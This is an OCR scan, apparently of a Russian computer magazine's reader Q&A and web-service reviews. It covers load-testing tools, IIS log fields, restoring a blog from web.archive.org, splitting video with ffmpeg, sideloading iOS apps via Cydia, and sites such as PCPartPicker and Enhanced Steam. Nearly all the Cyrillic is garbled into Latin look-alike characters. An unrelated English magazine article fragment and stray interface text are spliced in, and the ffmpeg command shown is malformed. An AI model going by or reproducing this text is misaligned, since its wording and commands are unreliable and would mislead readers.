Cnncok 3a4eCb AOBOJIBHO BHYLLUTESbHBIN.

Ectb u tsung (www.process-one.net/en
tsung/), nJMeter (jmeter.apache.org), n He meHee
nHTepecHbli  siege  (freecode.com/projects
siege). MHe 6onblue HPaBUTCA MMEHHO Mnocnen-
HWiA. Siege MMeeT TpU OCHOBHbIE MOAEeNn paboTbl:
pPexXrM PerpecCMOHHOr0 TECTUPOBAHWSA, PEXUM

3annce »

MMUTaLMM MHTEPHETA U PeXMM rpyboit cunbl. Tynsa
CUMTbIBAET NOPLIMIO JIMHKOB U3 koHdUra 1 obpatua-
eTCs K HUM Mo o4epean (pexvm perpeccruoHHOro
TECTMPOBAHMS) UM CNYHANHO (UMUTALMS NHTEPHe-
Ta). Iinn Xe MOXHO ykasaTb OAUH-€AUHCTBEHHbIN
agpec, K koTopoMy 6yayT NpPon3BOAUTLCS BCe 006-
paweHuns. Ytunurta MHoronnarpopmeHHas, Tak
4TO NPo6NEM C ee NCMoNb3oBaHNEM BbITb He JOK-
HO. lMNnioc MeeT xopoLwnii MaH Ha odcanTe.

MosBunacb 3apsavya NPOCMOTPETb Jloru
11S. Bpoae npocTo, HO CTONOLOB MHOrO,
a YTO OHU 03HAYalOT — He COBCEM NOHATHO. Mo-
MoOXelb?
u [a! CmoTtpu, Tam 15 cTon6u0B, BbiK/iaabiBalo
Ha3BaHWs Ha AHMMIACKOM, C HeBOosbLIMMN
MOSICHEHVAMM AJ151 YNPOLLEHNS:

Client IP address — IP-agpec KJMeHTa

User name — nonb3oBaTesb

Date — paTa

Time — Bpems

Service and instance — wuHcTaHc/cnyxba
u obpasey (npumep MSFTPSVC1 ans FTP)

Server name — uMA cepBepa

Server IP address — IP cepBepa

Time taken — BpemA, 3aTpa4veHHoe
Ha BbINOJHEHWe 3anpoca

Client bytes sent — ckonbko 6aiToB
OTNpaBJeHO KJIMEHTOM

Server bytes sent — ckonbko 6arMToB
OTMNpaB/IeHO CepBepoMm

Service status code — kopa cTaTyca
cepBepa, K npumepy 200 OK

Windows status code — kop cocTosHus

Request type — Tun 3anpoca

Target of operation — TapreTt obpauweHus

Parameters (the parameters that are

passed to a script) — napameTpsl

B daiine xypHana 3HavyeHus Bcex nonen 3a-
KaHymBaloTca 3anaton (,). Adeduc nevaraetcs
Kak NpoToTUN AN NONen, He UMELWMX A0NYCTN-
MOrO 3Ha4YeHus.

MonTtopa roga nucan B CBOW Gnor no Tpu
cTaTby B AeHb. [IOTOM XOCTUHI, Ha KOTO-

13
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poM 51 ero pa3amecTus, BHe3anHo nepecrtan pa-

GoTtatb. Bakanel caitta 51 He penan u Habupan

TeKkcT nNpsiMo B apMuHKke. Kak 9 mory BepHyTb

cBOM cTaTbn?

Jpyr, 9 UCKpeHHe 3aBuayto NerkocTu, C KO-
TOPOW Tbl OTHOCULLBLCS K XXU3HW, 1 TBOEN de-

HOMeHanbHOW  TpygocnocobHocTn.  NopobHoe

npeHebpexeHne pe3epBHbIM KOMMPOBAHWEM Bbl-

3blBaeT HenogAeNbHoe yamenexHve. Bugumo, 3ps

Mbl U3BENM CTONbKO BymMarn 1 Kpacku 3a nontopa

LecATUNEeTNS ero perynsipHor nponarasasl. Y T8o-

el NpobnemMbl eCTb Kak MMHUMYM [1Ba BO3MOXHbIX

peLueHus:

1. Tbl MOXeLUb CBA3ATLCS C BNafesbLEeM yMepLLEro
XOCTVHra, 06bSICHUTL CUTyaUMIO U B MPUBATHOM
nopsiAKe MonpoCUTb Y HEro pe3epHble KOMun Co-
[EepXNMOro cepeepoB. Y ilo6oro HopMasibHOro
nposalriaepa OHW CO3JAlTCs XOTs Obl exeHe-
OeNbHO.

2. Ectb Takonm cepsuc — web.archive.org. Ha Hem
XPaHSATCS KOMUM MHOTUX MHTEPHET-CanToB. Ecnn
TBOI 61101 NPOXMA NofTopa roaa, To BbICOKa Be-
POSITHOCTb, 4TO POBOT BEG-apxunBa yxxe ycnen go-
6paTbCcs A0 HEro 1 Tbl CMOXELLIb HANTU HECKOSTb-
KO BEPCUiA CBOEro caiiTa 3a pasHble JaTbl.

MHe HYXHO Hape3aTb HECKOJIbKO COTEH
BUAEO Ha oTaenbHble Kaapbl. Kak s mory
aBTOMaTU3MPOBaTb 3TOT Npouecc?
u MpocTo! C nomotubio linux-ytunutel FFmpeg:

ffmpeg -sexwithsnake.mpg %.png

JaHHas KomaHda HapexeT BUAEO Ha Kaapbl U CO-
XPaHUT KaXaylo KapTUHKY Nof, HOMEPOM, COOTBET-
CTBYIOLLMM HOMEpPY Kaapa.

Pewunn cratb iOS-nporpaMMucToM, HO

AywuT xaba nnatute 100 gonnapoB 3a
peructpauuio B App Store. Kak pacnpocrpa-
HATb NPUIOXEHUS, HE NOMNOJIHAS KapMaHbl KOM-
naHum Apple?

9 aymato, 4To BCce-Takm Jy4lle BbIKPOUTb COT-

HI0 6AaKCOB U BbIIOXWTb CBOW arbl B 0buLn-
anbHbI Mara3uH. Ecnv oHn npeacTaBnsioT Kakyto-

HUBYAb NPAKTUYECKYIO LEHHOCTb, TO AEHbIM MOXHO

oT6UTb O0BONBLHO ObICTPo. HO ecnu paccratbes

C TakoW CyMMOW TBOW OtoaXeT He crnocobeH, To

MOXHO caenartb Tak:

1. Paamectutb ero B Cydia Store. 910 Heodpuum-
anbHbI Mara3uH i0S-NpunoXxeHnin, 0Tkyaa npo-
rpaMMbl MOXHO YCTaHABNMBATb Ha YCTPOMCTBA,
Haj, KOTOPbIMU BblST NPON3BEAEH AXENNOPENK.

2. 3apeructpupoBaTtb akkayHT B App Store Ha cTy-
neHTa (ons atoro HyxHa kapTta ISIC). Yyawmecs
0CBOBOXAEHbI OT PErMCTPALIMOHHOMO B3HOCA.

Mue 26, 9 cneumanuct cnyxObl nopg-

AEPXKU N 04EeHb X0y NOMEHATL Npodec-
cuio. He yctpamBaet 3apnnata. MNMoaymbiBaio
cTtatb nporpammuctoMm. Ho Bce Hukak He pe-
LWYyCb U3y4yaTb KOAMHI, TaK KakK rnoka He noHsn,
C Yero HayaThb.

Mel Bcet pegakumei gymanu Hag, TBOUM BO-

NPOCOM, 1 KaxAbliA U3 HAC MbITancs BCNOM-
HWUTb, C YEro OH HaYMHan u3y4aTb NPOrpaMmmnpPoBa-
Hue. Y Bcex aT1o 6bino net 10-15 Hasad, B paHHue
LIKONbHblE roapl. VI Mbl HE 3HAEM HW OOQHOrO XOPOo-
wero koaepa, KoTopblii HaYMHaN ceBov npodeccuno-
HaNbHbI MNyTb MO3Xe CoBepLueHHoneTusl. Ecnn
B Tebe [0 CUX NOp He NPOCHYNOCH HeYA0BNETBOPU-
Moe XeJaHue nucatb Ko, To, CKOpee BCero, 3710 Co-
BCEM He TBOE U JiyuLle 3a6biTb 06 3TOM naee. 3C
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PCPARTPICKER (pcpartpicker.com)
—> PC Part Picker — aT10 cepsuc anig nogdopa KoHpurypaumm
LT A MK. Bo-nepsbiX, TYT MOXHO OTPUALTPOBATL KOMMOHEHTbI MO
coBMecTMMOCTU. Hanpumep, ecnu Tol Bbibpan kopnyc dopmarta
[ — Mini-ITX, To cepBuc aBTomaTn4eckun ybepeT 13 Bbl6OpKM BCe
MaTtepuHckue nnatbl 6onbLuero popmara. AHanorMyHo ¢ Gnokamm
nUTaHns, coketamu 1 6o51ee TOHKUMN BELLLAMU, BPOAE MaKCU-
MasnbHO JOMYCTMMOM BbICOTHI Kynepa. Bo-BTophix, PC Part Picker
[aeT NPUMEPHYIO OLLEHKY 9HEPronoTpebaeHnst, YTO BaXHO nNpu
Bblbope 6n10ka nuTaHus. HakoHel, cepBurc No3sonseT ny6amko-
BaTb MOJYHYMBLLYIOCS KOHOUIypaumio B yi06HOM BULE — Hamnpu-
Mep, Ha popyMax 3HTY3NaCTOB, rae Nonb30oBaTes/lb MOXET NOnpo-
CUTb APYIrNX OLEHUTb NOJTy4MBLLYIOCSH KOHDUIrypaumio.

53899 Nexus () ([ Ramove

L

g

55 $15698 supersiz () (_amove

7158 owerc () [ Ramove

ez sos499 supersiz () [ Ramove

L

s3459 Amuon (¥ (Ramove

ENHANCED STEAM (www.cnhancedsteam.com)

—> Enhanced Steam — 3710 pacwvpeHue ans Chrome u Firefox,
nobaensaouee maccy nonesHbix GyHKUMIA B BEG-BEpCUIio Mara-
3uHa urp Steam. HactosiTenlbHO pekoMeHayeTcs BCeM revime-
pam-Lonoronvkam. PaclunpeHvie ymeeT nokasbiBaTb MCTOPMIO
M3MEHEHMS LIeHbI HA UMPY, a TakXXe NOACYUTBLIBATL PeasibHYIo
BbIro4y Npv nokynke 6aHana urp (HaNpUMep, B CUTyauusx, Koraa
HekoTopble Urpbl B 6aHAe y Nonb3oBarens yxe ecTb). Mypucram
NoHpaBuTCs GYHKLMS, MOKa3biBatoLLLAs, YTO Urpa NocTaBisieTcs

C pononHuTenbHol cuctemoin DRM (Bpoze HeHaBucTHOro Uplay).
Takxe paclupeHve yMeeT nokasbiBaTb AOMNOSHUTESbHYI0 MHDOP-
Maumio 0 peNTUHre Urpbl Ha cante Metascore n noaceeynBaTb
Urpbl, KOTOPbIE NOb30BaTeNb paHee [06aBNAN B CBOV BULLJIUCT.

Oenaem Steam HemMHoro
ynoGHee

Waming: This fitle uses 3rd party DRM (Games for Windows Live)

- Info

Buy Resident Evil™ 5

About the Game
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SEEDS OF DOUBT

BY MICHAEL SPECTER

(6. JET

arly this spring, the Indian

E environmentalist Vandana Shiva
led an unusual pilgrimage across

southern Europe. Beginning in Greece,

with the international Pan-Hellenic

Exchange of Local Sced Varieties Festival,

TYP.IO (www.typ.io)

—> MHoOr1e HaBepHsika CTankvMBanmch C ceparcamm, nondmpato-
MMM LIBETOBYIO NANMTPY ANS canToB 1 MHTepdericos. 3aaaellb
OCHOBHOI1 LIBET 1 nonyyaellb KOMOGMHALMK LIBETOB, KOTOPbIE

C HUM ByayT ny4lle Bcero codetarbes. Typ.io — 9TO HeYTOo Nno-
[o6HOe, TONbKO NPO WpKdTHI. [0 cyTK, 3TO GoNbLUASA KONNEKLMS
npuMepoB, COBPaHHbIX MO BCEMY UHTEPHETY, — MOXHO HarNsaHO
OLEHUTb, Kakme WPUGThI JTy4Lle BCEro COHeTaloTCs U B KaKOM Ke-
rne. «PeuenTbl» OTCOPTUPOBAHbI Kak No Ha3BaHMAM LUPUGTOB, Tak
1 NO Karteropusm, 6y,|1b TO 610MV NN TNaBHbIE CTpaHuLbl. Takxe
TYT €CTb pasfen yylimnx NpMMepoB, NONOHAEMbI co3aaTensamMmmn
cainTa, Bpoae «Ecnu Bam Hpasutcs wpndt Adelle, nonpobyiite
ero ¢ Proxima Nova nnn Gesta».

PARANOID PAUL (www.paranoidpaul.com)

—> Paranoid Paul — 3710 MHCTPYMEHT, KOTOPbIN CNEeAUT 3a 13-
MEHEHVAMM B NOJSIb30BATENbCKMX COMMaLleHNaX PasinyHbiX
Be6-cepBUCOB 1 Apyrux IT-npoaykTos. Jns TOro 4To0bl M
BOCMOJIb30BATLCS, HY>KHO CO3AaTb YHETHYIO 3anuncb, BbIGpaTh WH-
Tepecylowme Tebsa pecypcel, 1 Paranoid Paul HauHeT npucbinatb
Tebe pacchbiiky Kaxablii pas, kak B TOM unv nHoMm EULA npousoii-
neT nameHeHune. B obuiem, ecnm Tbl no-HacTosiLeMy 3a60TULLLCS
0 CBOWIX MpaBax B MHTEPHETE nnn Tebe NPOCTO NHTEPECHO Chne-
OWTb 32 TeM, Kak Bce 60sbLUIe CXMMAIOTCS Nanbl BEG-rMraHToB Ha
TBOEW Wee, «MapaHovaanbHbiv MNon» — 310 ans Tebs. OCHOBHOM
HeJ0CTaToK — OTCYTCTBME PYCCKOSI3bIYHbIX CEPBUCOB B Katasnore.
Ho rnaBHble aHrnos3bl4HbIE pecypcbl (FB, Twitter) TyT ecTb.
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